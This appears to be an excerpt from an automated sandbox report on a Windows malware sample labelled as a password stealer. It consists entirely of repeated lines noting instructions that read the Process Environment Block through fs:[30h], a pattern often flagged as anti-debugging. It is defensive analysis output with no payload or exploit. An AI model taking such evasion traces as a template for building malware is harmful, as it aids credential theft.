Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_018651BE mov eax, dword ptr fs:[00000030h]	10_2_018651BE
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_018651BE mov eax, dword ptr fs:[00000030h]	10_2_018651BE
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_018099BF mov ecx, dword ptr fs:[00000030h]	10_2_018099BF
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_018099BF mov ecx, dword ptr fs:[00000030h]	10_2_018099BF
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_018099BF mov eax, dword ptr fs:[00000030h]	10_2_018099BF
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_018099BF mov ecx, dword ptr fs:[00000030h]	10_2_018099BF
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_018099BF mov ecx, dword ptr fs:[00000030h]	10_2_018099BF
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_018099BF mov eax, dword ptr fs:[00000030h]	10_2_018099BF
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_018099BF mov ecx, dword ptr fs:[00000030h]	10_2_018099BF
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_018099BF mov ecx, dword ptr fs:[00000030h]	10_2_018099BF
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_018099BF mov eax, dword ptr fs:[00000030h]	10_2_018099BF
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_018099BF mov ecx, dword ptr fs:[00000030h]	10_2_018099BF
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_018099BF mov ecx, dword ptr fs:[00000030h]	10_2_018099BF
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_018099BF mov eax, dword ptr fs:[00000030h]	10_2_018099BF
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_017E3138 mov ecx, dword ptr fs:[00000030h]	10_2_017E3138
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_018A19D8 mov eax, dword ptr fs:[00000030h]	10_2_018A19D8
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_018B89E7 mov eax, dword ptr fs:[00000030h]	10_2_018B89E7
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_018741E8 mov eax, dword ptr fs:[00000030h]	10_2_018741E8
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_017E9100 mov eax, dword ptr fs:[00000030h]	10_2_017E9100
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_017E9100 mov eax, dword ptr fs:[00000030h]	10_2_017E9100
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_017E9100 mov eax, dword ptr fs:[00000030h]	10_2_017E9100
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_017F0100 mov eax, dword ptr fs:[00000030h]	10_2_017F0100
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_017F0100 mov eax, dword ptr fs:[00000030h]	10_2_017F0100
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_017F0100 mov eax, dword ptr fs:[00000030h]	10_2_017F0100
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_017E31E0 mov eax, dword ptr fs:[00000030h]	10_2_017E31E0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_017EB1E1 mov eax, dword ptr fs:[00000030h]	10_2_017EB1E1
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_017EB1E1 mov eax, dword ptr fs:[00000030h]	10_2_017EB1E1
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_017EB1E1 mov eax, dword ptr fs:[00000030h]	10_2_017EB1E1
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_01804120 mov eax, dword ptr fs:[00000030h]	10_2_01804120
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_01804120 mov eax, dword ptr fs:[00000030h]	10_2_01804120
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_01804120 mov eax, dword ptr fs:[00000030h]	10_2_01804120
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_01804120 mov eax, dword ptr fs:[00000030h]	10_2_01804120
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_01804120 mov ecx, dword ptr fs:[00000030h]	10_2_01804120
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_0181513A mov eax, dword ptr fs:[00000030h]	10_2_0181513A
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_0181513A mov eax, dword ptr fs:[00000030h]	10_2_0181513A
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_0180B944 mov eax, dword ptr fs:[00000030h]	10_2_0180B944
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_0180B944 mov eax, dword ptr fs:[00000030h]	10_2_0180B944
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_018A1951 mov eax, dword ptr fs:[00000030h]	10_2_018A1951
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_017E519E mov eax, dword ptr fs:[00000030h]	10_2_017E519E
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_017E519E mov ecx, dword ptr fs:[00000030h]	10_2_017E519E
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_018AE962 mov eax, dword ptr fs:[00000030h]	10_2_018AE962
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_018B8966 mov eax, dword ptr fs:[00000030h]	10_2_018B8966
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_01863884 mov eax, dword ptr fs:[00000030h]	10_2_01863884
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_01863884 mov eax, dword ptr fs:[00000030h]	10_2_01863884
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_018120A0 mov eax, dword ptr fs:[00000030h]	10_2_018120A0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_018120A0 mov eax, dword ptr fs:[00000030h]	10_2_018120A0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_018120A0 mov eax, dword ptr fs:[00000030h]	10_2_018120A0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_018120A0 mov eax, dword ptr fs:[00000030h]	10_2_018120A0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_018120A0 mov eax, dword ptr fs:[00000030h]	10_2_018120A0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_018120A0 mov eax, dword ptr fs:[00000030h]	10_2_018120A0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_017E7057 mov eax, dword ptr fs:[00000030h]	10_2_017E7057
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_018290AF mov eax, dword ptr fs:[00000030h]	10_2_018290AF
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_017E5050 mov eax, dword ptr fs:[00000030h]	10_2_017E5050
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_017E5050 mov eax, dword ptr fs:[00000030h]	10_2_017E5050
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_017E5050 mov eax, dword ptr fs:[00000030h]	10_2_017E5050
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_0181F0BF mov ecx, dword ptr fs:[00000030h]	10_2_0181F0BF
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_0181F0BF mov eax, dword ptr fs:[00000030h]	10_2_0181F0BF
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_0181F0BF mov eax, dword ptr fs:[00000030h]	10_2_0181F0BF
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_018A18CA mov eax, dword ptr fs:[00000030h]	10_2_018A18CA
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_017FB02A mov eax, dword ptr fs:[00000030h]	10_2_017FB02A
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_017FB02A mov eax, dword ptr fs:[00000030h]	10_2_017FB02A
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_017FB02A mov eax, dword ptr fs:[00000030h]	10_2_017FB02A
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_017FB02A mov eax, dword ptr fs:[00000030h]	10_2_017FB02A
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_0187B8D0 mov eax, dword ptr fs:[00000030h]	10_2_0187B8D0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_0187B8D0 mov ecx, dword ptr fs:[00000030h]	10_2_0187B8D0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_0187B8D0 mov eax, dword ptr fs:[00000030h]	10_2_0187B8D0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_0187B8D0 mov eax, dword ptr fs:[00000030h]	10_2_0187B8D0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_0187B8D0 mov eax, dword ptr fs:[00000030h]	10_2_0187B8D0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_0187B8D0 mov eax, dword ptr fs:[00000030h]	10_2_0187B8D0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_0180B8E4 mov eax, dword ptr fs:[00000030h]	10_2_0180B8E4
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_0180B8E4 mov eax, dword ptr fs:[00000030h]	10_2_0180B8E4
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_017E6800 mov eax, dword ptr fs:[00000030h]	10_2_017E6800
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_017E6800 mov eax, dword ptr fs:[00000030h]	10_2_017E6800
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_017E6800 mov eax, dword ptr fs:[00000030h]	10_2_017E6800
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_017F28FD mov eax, dword ptr fs:[00000030h]	10_2_017F28FD
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_017F28FD mov eax, dword ptr fs:[00000030h]	10_2_017F28FD
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_017F28FD mov eax, dword ptr fs:[00000030h]	10_2_017F28FD
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_01867016 mov eax, dword ptr fs:[00000030h]	10_2_01867016
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_01867016 mov eax, dword ptr fs:[00000030h]	10_2_01867016
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_01867016 mov eax, dword ptr fs:[00000030h]	10_2_01867016
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_017E58EC mov eax, dword ptr fs:[00000030h]	10_2_017E58EC
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_018B4015 mov eax, dword ptr fs:[00000030h]	10_2_018B4015
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_018B4015 mov eax, dword ptr fs:[00000030h]	10_2_018B4015
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_017E40E1 mov eax, dword ptr fs:[00000030h]	10_2_017E40E1
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_017E40E1 mov eax, dword ptr fs:[00000030h]	10_2_017E40E1
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_017E40E1 mov eax, dword ptr fs:[00000030h]	10_2_017E40E1
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_01814020 mov edi, dword ptr fs:[00000030h]	10_2_01814020
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_0181002D mov eax, dword ptr fs:[00000030h]	10_2_0181002D
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_0181002D mov eax, dword ptr fs:[00000030h]	10_2_0181002D
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_0181002D mov eax, dword ptr fs:[00000030h]	10_2_0181002D
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_0181002D mov eax, dword ptr fs:[00000030h]	10_2_0181002D
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_0181002D mov eax, dword ptr fs:[00000030h]	10_2_0181002D
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_0180A830 mov eax, dword ptr fs:[00000030h]	10_2_0180A830
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_0180A830 mov eax, dword ptr fs:[00000030h]	10_2_0180A830
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_0180A830 mov eax, dword ptr fs:[00000030h]	10_2_0180A830
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_0180A830 mov eax, dword ptr fs:[00000030h]	10_2_0180A830
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_017E70C0 mov eax, dword ptr fs:[00000030h]	10_2_017E70C0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_017E70C0 mov eax, dword ptr fs:[00000030h]	10_2_017E70C0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_018A1843 mov eax, dword ptr fs:[00000030h]	10_2_018A1843
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_01800050 mov eax, dword ptr fs:[00000030h]	10_2_01800050
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_01800050 mov eax, dword ptr fs:[00000030h]	10_2_01800050
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_017F28AE mov eax, dword ptr fs:[00000030h]	10_2_017F28AE
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_017F28AE mov eax, dword ptr fs:[00000030h]	10_2_017F28AE
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_017F28AE mov eax, dword ptr fs:[00000030h]	10_2_017F28AE
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_017F28AE mov ecx, dword ptr fs:[00000030h]	10_2_017F28AE
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_017F28AE mov eax, dword ptr fs:[00000030h]	10_2_017F28AE
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_017F28AE mov eax, dword ptr fs:[00000030h]	10_2_017F28AE
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_0180F86D mov eax, dword ptr fs:[00000030h]	10_2_0180F86D
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_018A2073 mov eax, dword ptr fs:[00000030h]	10_2_018A2073
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_017E9080 mov eax, dword ptr fs:[00000030h]	10_2_017E9080
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_017E3880 mov eax, dword ptr fs:[00000030h]	10_2_017E3880
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_017E3880 mov eax, dword ptr fs:[00000030h]	10_2_017E3880
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_018B1074 mov eax, dword ptr fs:[00000030h]	10_2_018B1074
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_018A138A mov eax, dword ptr fs:[00000030h]	10_2_018A138A
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_0188EB8A mov ecx, dword ptr fs:[00000030h]	10_2_0188EB8A
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_0188EB8A mov eax, dword ptr fs:[00000030h]	10_2_0188EB8A
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_0188EB8A mov eax, dword ptr fs:[00000030h]	10_2_0188EB8A
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_0188EB8A mov eax, dword ptr fs:[00000030h]	10_2_0188EB8A
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_0189D380 mov ecx, dword ptr fs:[00000030h]	10_2_0189D380
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_0181138B mov eax, dword ptr fs:[00000030h]	10_2_0181138B
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_0181138B mov eax, dword ptr fs:[00000030h]	10_2_0181138B
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_0181138B mov eax, dword ptr fs:[00000030h]	10_2_0181138B
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_017FF370 mov eax, dword ptr fs:[00000030h]	10_2_017FF370
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_017FF370 mov eax, dword ptr fs:[00000030h]	10_2_017FF370
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_017FF370 mov eax, dword ptr fs:[00000030h]	10_2_017FF370
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_0181B390 mov eax, dword ptr fs:[00000030h]	10_2_0181B390
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_01812397 mov eax, dword ptr fs:[00000030h]	10_2_01812397
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_0180EB9A mov eax, dword ptr fs:[00000030h]	10_2_0180EB9A
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_0180EB9A mov eax, dword ptr fs:[00000030h]	10_2_0180EB9A
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_017EDB60 mov ecx, dword ptr fs:[00000030h]	10_2_017EDB60
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_018A1BA8 mov eax, dword ptr fs:[00000030h]	10_2_018A1BA8
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_017EF358 mov eax, dword ptr fs:[00000030h]	10_2_017EF358
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_01814BAD mov eax, dword ptr fs:[00000030h]	10_2_01814BAD
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_01814BAD mov eax, dword ptr fs:[00000030h]	10_2_01814BAD
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_01814BAD mov eax, dword ptr fs:[00000030h]	10_2_01814BAD
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_018B5BA5 mov eax, dword ptr fs:[00000030h]	10_2_018B5BA5
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_018B9BBE mov eax, dword ptr fs:[00000030h]	10_2_018B9BBE
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_018B8BB6 mov eax, dword ptr fs:[00000030h]	10_2_018B8BB6
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_017EDB40 mov eax, dword ptr fs:[00000030h]	10_2_017EDB40
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_018153C5 mov eax, dword ptr fs:[00000030h]	10_2_018153C5
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_018653CA mov eax, dword ptr fs:[00000030h]	10_2_018653CA
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_018653CA mov eax, dword ptr fs:[00000030h]	10_2_018653CA
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_018103E2 mov eax, dword ptr fs:[00000030h]	10_2_018103E2
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_018103E2 mov eax, dword ptr fs:[00000030h]	10_2_018103E2
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_018103E2 mov eax, dword ptr fs:[00000030h]	10_2_018103E2
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_018103E2 mov eax, dword ptr fs:[00000030h]	10_2_018103E2
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_018103E2 mov eax, dword ptr fs:[00000030h]	10_2_018103E2
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_018103E2 mov eax, dword ptr fs:[00000030h]	10_2_018103E2
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_0180DBE9 mov eax, dword ptr fs:[00000030h]	10_2_0180DBE9
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_018923E3 mov ecx, dword ptr fs:[00000030h]	10_2_018923E3
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_018923E3 mov ecx, dword ptr fs:[00000030h]	10_2_018923E3
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_018923E3 mov eax, dword ptr fs:[00000030h]	10_2_018923E3
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_0180A309 mov eax, dword ptr fs:[00000030h]	10_2_0180A309
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_0180A309 mov eax, dword ptr fs:[00000030h]	10_2_0180A309
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_0180A309 mov eax, dword ptr fs:[00000030h]	10_2_0180A309
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_0180A309 mov eax, dword ptr fs:[00000030h]	10_2_0180A309
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_0180A309 mov eax, dword ptr fs:[00000030h]	10_2_0180A309
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_0180A309 mov eax, dword ptr fs:[00000030h]	10_2_0180A309
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_0180A309 mov eax, dword ptr fs:[00000030h]	10_2_0180A309
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_0180A309 mov eax, dword ptr fs:[00000030h]	10_2_0180A309
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_0180A309 mov eax, dword ptr fs:[00000030h]	10_2_0180A309
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_0180A309 mov eax, dword ptr fs:[00000030h]	10_2_0180A309
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_0180A309 mov eax, dword ptr fs:[00000030h]	10_2_0180A309
